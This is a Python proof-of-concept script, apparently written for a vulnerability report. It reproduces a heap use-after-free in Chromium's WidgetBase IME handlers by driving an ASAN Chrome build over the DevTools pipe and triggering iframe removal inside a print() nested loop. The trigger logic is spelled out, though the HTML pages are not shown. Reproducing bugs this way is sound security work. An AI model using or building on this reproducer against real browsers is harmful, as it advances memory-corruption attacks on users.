#!/usr/bin/env python3
"""
POC: heap-use-after-free of WidgetBase `*this` in
WidgetBase::ImeSetComposition / ImeCommitText / ImeFinishComposingText
after the owning WebFrameWidgetImpl is destroyed inside a print()
nested message loop.

This script:
  1. Serves parent.html (a.test) and child.html (b.test) on :8080.
  2. Launches an ASAN Chrome with --remote-debugging-pipe.
  3. Uses CDP Input.imeSetComposition to simulate IME input into the
     cross-site OOPIF child (exactly what the browser process sends to
     the renderer when a real user types via an IME).
  4. The child's compositionstart handler calls window.print(), spinning
     a kNestableTasksAllowed nested loop. The cross-process parent then
     removes the iframe, which delivers mojom::Frame::Delete on the
     unpausable kInternalNavigationAssociated queue inside that loop and
     frees the child's WidgetBase. When the loop exits and unwinds back
     to WidgetBase::ImeSetComposition, `*this` is freed.

Expected: ASAN heap-use-after-free in blink::WidgetBase::ImeSetComposition
(widget_base.cc) with the free stack going through
WebFrameWidgetImpl::Close -> widget_base_.reset().
"""

import http.server
import json
import os
import select
import socketserver
import subprocess
import sys
import threading
import time

HERE = os.path.dirname(os.path.abspath(__file__))
PORT = int(os.environ.get("POC_PORT", "8000"))
CHROME = os.environ.get(
    "CHROME", "/chromium/chromium/src/out/asan/chrome")
USER_DATA_DIR = "/tmp/chrome-poc-widgetbase-uaf"

# ---------------------------------------------------------------------------
# HTTP server
# ---------------------------------------------------------------------------

class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=HERE, **kw)
    def log_message(self, fmt, *a):
        pass

class ReuseTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    allow_reuse_address = True
    daemon_threads = True

def start_server():
    httpd = ReuseTCPServer(("127.0.0.1", PORT), Handler)
    # Don't let Chrome inherit the listening socket.
    os.set_inheritable(httpd.socket.fileno(), False)
    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()
    return httpd

# ---------------------------------------------------------------------------
# CDP over --remote-debugging-pipe (fd 3 = browser read, fd 4 = browser write)
# ---------------------------------------------------------------------------

class CDPPipe:
    def __init__(self, read_fd, write_fd):
        self._r = read_fd
        self._w = write_fd
        self._buf = b""
        self._next_id = 1
        self._pending = {}
        self._events = []

    def send(self, method, params=None, session_id=None):
        mid = self._next_id
        self._next_id += 1
        msg = {"id": mid, "method": method, "params": params or {}}
        if session_id:
            msg["sessionId"] = session_id
        data = json.dumps(msg).encode() + b"\x00"
        os.write(self._w, data)
        return mid

    def _read_msg(self, timeout):
        deadline = time.time() + timeout
        while b"\x00" not in self._buf:
            remaining = deadline - time.time()
            if remaining <= 0:
                return None
            r, _, _ = select.select([self._r], [], [], remaining)
            if not r:
                return None
            chunk = os.read(self._r, 65536)
            if not chunk:
                return None
            self._buf += chunk
        raw, _, self._buf = self._buf.partition(b"\x00")
        try:
            return json.loads(raw)
        except Exception:
            return None

    def wait_result(self, mid, timeout=20):
        deadline = time.time() + timeout
        while time.time() < deadline:
            if mid in self._pending:
                return self._pending.pop(mid)
            msg = self._read_msg(deadline - time.time())
            if msg is None:
                continue
            if "id" in msg:
                self._pending[msg["id"]] = msg
            else:
                self._events.append(msg)
        return None

    def call(self, method, params=None, session_id=None, timeout=20):
        mid = self.send(method, params, session_id)
        return self.wait_result(mid, timeout)

    def wait_event(self, name, pred=None, timeout=20):
        deadline = time.time() + timeout
        while time.time() < deadline:
            for i, ev in enumerate(self._events):
                if ev.get("method") == name and (pred is None or pred(ev)):
                    return self._events.pop(i)
            msg = self._read_msg(deadline - time.time())
            if msg is None:
                continue
            if "id" in msg:
                self._pending[msg["id"]] = msg
            else:
                self._events.append(msg)
        return None

# ---------------------------------------------------------------------------
# Driver
# ---------------------------------------------------------------------------

def main():
    httpd = start_server()
    print("[+] HTTP server on 127.0.0.1:%d" % PORT)

    # Pipes for --remote-debugging-pipe.
    # Parent writes to c2b_w (child reads on fd 3); child writes to fd 4
    # (parent reads from b2c_r).
    c2b_r, c2b_w = os.pipe()  # client -> browser
    b2c_r, b2c_w = os.pipe()  # browser -> client

    env = dict(os.environ)
    llvm_sym = os.path.join(
        os.path.dirname(os.path.dirname(CHROME)),
        "..", "third_party", "llvm-build", "Release+Asserts", "bin",
        "llvm-symbolizer")
    env["ASAN_OPTIONS"] = (
        "log_path=%s/asan-report:symbolize=1:detect_odr_violation=0:"
        "handle_abort=1:handle_sigill=1:handle_segv=1:"
        "external_symbolizer_path=%s" % (HERE, os.path.abspath(llvm_sym)))
    args = [
        CHROME,
        "--no-first-run",
        "--no-default-browser-check",
        "--no-sandbox",
        "--disable-dev-shm-usage",
        "--disable-crash-reporter",
        "--enable-logging=stderr",
        "--disable-features=DialMediaRouteProvider,ChromeWhatsNewUI",
        "--user-data-dir=" + USER_DATA_DIR,
        "--remote-debugging-pipe",
        "--site-per-process",
        # Resolve a.test / b.test to the local server so the child iframe
        # is cross-site and gets its own process + WidgetBase.
        "--host-resolver-rules=MAP *.test 127.0.0.1",
        "about:blank",
    ]
    print("[+] Launching:", " ".join(args))

    asan_log = open(os.path.join(HERE, "asan.log"), "wb")

    def _setup_pipes():
        os.dup2(c2b_r, 3)
        os.dup2(b2c_w, 4)
        # Mark inheritable in case the runtime cleared it.
        os.set_inheritable(3, True)
        os.set_inheritable(4, True)

    proc = subprocess.Popen(
        args,
        stdin=subprocess.DEVNULL,
        stdout=asan_log,
        stderr=subprocess.STDOUT,
        close_fds=False,
        preexec_fn=_setup_pipes,
        env=env,
    )
    os.close(c2b_r)
    os.close(b2c_w)

    cdp = CDPPipe(b2c_r, c2b_w)

    try:
        # Find the initial page target and attach.
        print("[+] Discovering targets ...")
        cdp.call("Target.setDiscoverTargets", {"discover": True})
        ev = cdp.wait_event(
            "Target.targetCreated",
            pred=lambda e: e["params"]["targetInfo"]["type"] == "page")
        if not ev:
            print("[-] No page target found"); return 1
        target_id = ev["params"]["targetInfo"]["targetId"]

        att = cdp.call("Target.attachToTarget",
                       {"targetId": target_id, "flatten": True})
        sid = att["result"]["sessionId"]
        print("[+] Attached to page target, session", sid)

        cdp.call("Page.enable", session_id=sid)
        cdp.call("Runtime.enable", session_id=sid)

        # Navigate to the parent page on a.test.
        cdp.call("Page.navigate",
                 {"url": "http://a.test:%d/parent.html" % PORT},
                 session_id=sid)

        # Wait for the child OOPIF to signal readiness via parent title.
        print("[+] Waiting for child OOPIF to focus ...")
        last = None
        for _ in range(100):
            res = cdp.call("Runtime.evaluate",
                           {"expression": "document.title"},
                           session_id=sid)
            val = res and res.get("result", {}).get("result", {}).get("value")
            if val != last:
                print("    title =", repr(val))
                last = val
            if val == "READY":
                break
            time.sleep(0.2)
        else:
            res = cdp.call("Runtime.evaluate",
                           {"expression": "location.href"}, session_id=sid)
            print("[-] Child never signaled READY; location =", res)
            return 1
        print("[+] Child ready, sending IME composition ...")

        # Give focus a moment to propagate to the browser side so that
        # GetFocusedRenderWidgetHost() routes IME to the OOPIF widget.
        time.sleep(0.5)

        # Simulate IME input. The browser routes this to the focused
        # RenderWidgetHost (the OOPIF child) and calls
        # WidgetInputHandler::ImeSetComposition on the child renderer ->
        # WidgetBase::ImeSetComposition.
        # NOTE: this call's reply will not arrive until the child's
        # nested print() loop exits (the renderer-side handler runs the
        # callback after ImeSetComposition returns), so don't wait for it.
        cdp.send("Input.imeSetComposition",
                 {"text": "uaf", "selectionStart": 3, "selectionEnd": 3},
                 session_id=sid)
        print("[+] IME composition sent. Waiting for ASAN ...")

        # Wait for the renderer to crash (ASAN abort) or for a timeout.
        deadline = time.time() + 40
        crashed = False
        seen_detached = False
        while time.time() < deadline:
            ev = cdp.wait_event("Target.targetCrashed", timeout=0.5)
            if ev:
                print("[+] Target.targetCrashed:", ev["params"])
                crashed = True
                break
            if not seen_detached:
                res = cdp.call("Runtime.evaluate",
                               {"expression": "document.title"},
                               session_id=sid, timeout=2)
                v = res and res.get("result", {}).get("result", {}).get("value")
                if v == "DETACHED":
                    print("[+] Parent removed iframe")
                    seen_detached = True
            if proc.poll() is not None:
                break
        time.sleep(2)
    finally:
        try:
            cdp.send("Browser.close")
        except Exception:
            pass
        time.sleep(2)
        if proc.poll() is None:
            proc.terminate()
            try:
                proc.wait(5)
            except Exception:
                proc.kill()
        # Reap leftover child processes (zygotes etc.)
        try:
            os.killpg(os.getpgid(proc.pid), 9)
        except Exception:
            pass
        asan_log.close()
        httpd.shutdown()

    # Scan log for ASAN report.
    import glob
    log_path = os.path.join(HERE, "asan.log")
    with open(log_path, "r", errors="replace") as f:
        text = f.read()
    for p in sorted(glob.glob(os.path.join(HERE, "asan-report.*"))):
        with open(p, "r", errors="replace") as f:
            r = f.read()
        text += "\n=== " + p + " ===\n" + r
        with open(log_path, "a") as f:
            f.write("\n=== " + p + " ===\n" + r)
    if "AddressSanitizer" in text:
        print("\n========== ASAN REPORT (excerpt) ==========")
        idx = text.find("ERROR: AddressSanitizer")
        print(text[max(0, idx-100):idx+6000])
        print("===========================================")
        print("[+] Full log at", log_path)
        return 0
    else:
        print("[-] No ASAN report found. Tail of log:")
        print(text[-4000:])
        return 1

if __name__ == "__main__":
    sys.exit(main())